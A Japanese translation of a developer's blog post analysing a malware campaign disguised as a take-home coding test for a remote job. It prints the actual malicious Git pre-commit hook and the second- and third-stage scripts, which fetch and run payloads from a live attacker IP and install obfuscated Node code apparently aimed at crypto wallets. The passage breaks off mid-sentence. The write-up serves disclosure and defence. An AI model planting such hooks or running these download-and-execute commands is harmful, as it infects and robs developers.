キャリア
採用課題のプロジェクトを調査したら、それは大規模なオペレーションだった
I Inspected My Take-Home Interview Project. It Was a Whole Operation (citizendot.github.io)
要約
ある開発者が、高額報酬を提示されたリモート開発職の採用面接で、提供された「持ち帰り課題」を調査したところ、それは悪意のあるGitフックを利用したマルウェア配布キャンペーンの一部であることが判明しました。この手口は、候補者を追跡し、OS固有のペイロードをサイレントに実行する巧妙なものでした。
全文翻訳
LinkedInでリクルーターからPython開発者のポジションについて連絡がありました。直接連絡があったことに興奮し、詳細を尋ねました。彼が職務内容、会社名、推定給与を共有したとき、失うものは何もないと思いました。これが最初のメッセージです。
月額10,000ドルから15,000ドルの提示は、リモートファースト、契約から正社員登用(contract-to-hire)のポジションとしては良すぎます。また、なぜ会う前に給与情報を開示するのでしょうか?リクルーターは「まずあなた、次に私」というゲームをするものだと思っていました。ルーキーのミスです。すぐに赤信号が灯りました。なぜこれほど巨額の予算があるのでしょうか?会社を調べたところ、Y Combinatorのスタートアップであることがわかりました。YC企業は従来のオペレーションで知られているわけではないので、完全にありえない話ではありませんでした。それでも、もし企業がそのような資金を投じているなら、通常はもっと構造化された採用パイプラインを持っているはずです。警戒を怠らず、進めることにしました。履歴書を送りました。リクルーターはすぐに承認し、Google Driveのリンクを通じて持ち帰り課題を渡してきました。リンクにはzipアーカイブと指示書が含まれていました。zipファイルを展開しました。一見すると、それはSQLAlchemyを使用したボイラープレートのFastAPIバックエンドでした。非常に標準的なものです。requirements.txtをチェックして、明らかなタイポスクワッティングや悪意のあるパッケージがないか確認しましたが、完全にクリーンでした。一瞬、私の疑念は根拠がなく、これは正当な機会だと思いました。
これは習慣かもしれませんが(CTFをやっていたからかもしれません)、ランダムなプロジェクトフォルダを受け取ると、隠しディレクトリに何が潜んでいるかを確認するためにtree -aを実行します。しかし、これが実世界で役に立ったのは初めてかもしれません。
❯ tree -a .
.
├── alembic.ini
├── for learning
│ ├── dtos.py
│ ├── main.py
│ └── mockData.py
├── .git
│ ├── config
│ ├── description
│ ├── gk
│ │ └── config
│ ├── HEAD
│ ├── hooks
│ │ ├── applypatch-msg
│ │ ├── commit-msg
│ │ ├── fsmonitor-watchman
│ │ ├── post-applypatch
│ │ ├── post-checkout
│ │ ├── post-commit
│ │ ├── post-merge
│ │ ├── post-receive
│ │ ├── post-rewrite
│ │ ├── post-update
│ │ ├── pre-applypatch
│ │ ├── pre-auto-gc
│ │ ├── pre-commit
│ │ ├── pre-merge-commit
│ │ ├── prepare-commit-msg
│ │ ├── pre-push
│ │ ├── pre-rebase
│ │ ├── pre-receive
│ │ ├── proc-receive
│ │ ├── push-to-checkout
│ │ ├── sendemail-validate
│ │ └── update
│ ├── index
│ ├── info
│ │ └── exclude
│ ├── logs
│ ...
待てよ。リポジトリには大量のGitフックが事前に設定されています。pre-commitスクリプトを開いて、彼らが何をを実行しようとしているのかを確認しました。
❯ cat .git/hooks/pre-commit
#!/bin/sh
case "$(uname -s)" in Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 &
;; Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 &
;; MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 &
;; *) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 &
;; esac
ビンゴ。被害者のホストOSをチェックし、リモートペイロードをサイレントに実行するスクリプトが埋め込まれていました。余談ですが、なぜ生のIPアドレスを使うのでしょうか?どう見てもマルウェアを連想させます。せめてlint-checker.comやjenkins-ci-runner.netのような偽装ドメインを登録すべきです。もしこれを書いた攻撃者が読んでいるなら:皆さん、メモを取りましょう!Linuxペイロードが実際に行っていることを確認しましょう。エンドポイントに渡されているid=402パラメータに注意してください。それを覚えておいてください。
❯ curl http://45.61.164.38:5777/task/linux?id=402
#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/Documents"
clear
wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://45.61.164.38:5777/task/tokenlinux?id=402"
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0
スクリプトは、最初にtokenlinux.nplという名前のセカンダリペイロードをダウンロードします(後でその特定の拡張子に戻ります)。その後、ファイルを~/Documentsディレクトリにtokenlinux.shとして隠し、実行可能にして、nohupを使用してバックグラウンドで起動します。Googleによると、nohupコマンド(「no hang up」の略)は、ログアウトしたり、ターミナルを閉じたり、SSHセッションから切断したりした後もプロセスを実行し続けるLinux/Unixユーティリティです。さらに深く潜りましょう。この次のスクリプトを調べます。
❯ curl http://45.61.164.38:5777/task/tokenlinux?id=402
...
...
BASE_URL="http://45.61.164.38:5777"
...
# Step 8: Download files
# Check if curl is available
if ! command -v curl >/dev/null 2>&1;
then
# If curl is not available, use wget
wget -q -O "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"
wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/json"
else
# If curl is available, use curl
curl -s -L -o "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"
curl -s -L -o "$USER_HOME/package.json" "$BASE_URL/task/json"
fi
# Step 9: Install 'request' package
cd "$USER_HOME"
if [ ! -d "node_modules/request" ];
then
npm install --silent --no-progress --loglevel=error --fund=false
fi
# Step 10: Run token parser
if [ -f "$USER_HOME/parser.js" ];
then
nohup node "$USER_HOME/parser.js" > "$USER_HOME/parser.log" 2>&1 &
else
exit 1
fi
exit 0
簡潔にするために最も興味深い部分のみ出力をトリミングしましたが、完全なファイルはここにあります:parser.js。さらに深く掘り下げたい場合は参照してください。この第二段階は多くの重労働を行います。Node.jsをサイレントにインストールし、システムパスを設定し、package.jsonとparser.jsファイルをダウンロードし、必要な依存関係をインストールして、パーサーを不可視で実行します。parser.jsを確認しました。コードは高度に難読化されており、手動で読むのは非常に困難でした。idパラメータを覚えていますか?リクエストでそれを変更してみたところ、完全に異なるスクリプトが返ってきました。攻撃者は、個々の候補者を追跡するために一意の識別子を使用し、各被害者にカスタマイズされたペイロードを提供している可能性が高いです。parser.jsが壁だったので、package.jsonに焦点を移しました。パーサーとは異なり、npmが処理するためには標準的なJSONである必要があります。
❯ curl http://45.61.164.38:5777/task/json
{
"name": "tokendapp",
"version": "1.0.0",
"devDependencies": {
"hardhat": "^2.20.2"
},
"dependencies": {
"axios": "^1.12.2",
"basic-ftp": "^5.0.5",
"child_process": "^1.0.2",
"clipboardy": "^4.0.0",
"crypto": "^1.0.1",
"execp": "^0.0.1",
"fs": "^0.0.1-security",
"jsonwebtoken": "^9.0.2",
"process": "^0.11.10",
"ps-node": "^0.1.6",
"request": "^2.88.2"
},
"scripts": {
"test": "npx hardhat test",
"deploy": "npx hardhat run scripts/deploy.js"
}
}
これらの依存関係は非常に疑わしいです。バックグラウンドセットアップタスクにクリップボードへのアクセス(clipboardy)が必要なのはなぜでしょうか?ファイルシステムへのアクセス(fs)も必要です。そして、hardhatとは一体何でしょうか?ああ、イーサリアム開発環境です。これにより、追跡IDパラメータがさらに興味深いものになります。もし彼らがビットコインマイナーをドロップしていたなら、特定ハッシュタスクをユニークIDに配布することは理にかなっていたでしょう。しかし、イーサリアムはプルーフ・オブ・ワークから移行しました。もはやマイニングに依存していません。彼らはハードハットを使用して、クリプトウォレットを見つけてドレインしたり、ローカルブラウザ拡張機能とやり取りしたりしているのでしょうか?わかりません。parser.jsを難読化解除したいと思い、コードをいくつかのLLMに投入して、解読できるか試しました。Claudeはファイルを見て、安全対策が発動し、スクリプトの分析を拒否しました。
一方、Geminiは喜んで分解してくれました。
先ほど、ペイロードが最初にtokenlinux.nplという名前だったことを見ました。簡単な検索で、どのような種類の攻撃者がその拡張子を使用するかを確認できます。
詐欺はさらに深まる
これが広範なキャンペーンであることを認識した後、さらに調査したところ、人々がこの攻撃のさまざまなバリエーションを受け取っていることがわかりました。一部の人々は、.vscodeフォルダを含むzipファイルを受け取りました。その中には、VSCodeでディレクトリを開くとすぐに実行されるように設定されたコマンド(launchコマンド)が隠されていました。非常に巧妙です。Gitコマンドを実行する必要すらなく、VSCodeでこのディレクトリを開くだけで感染します。また、非常に…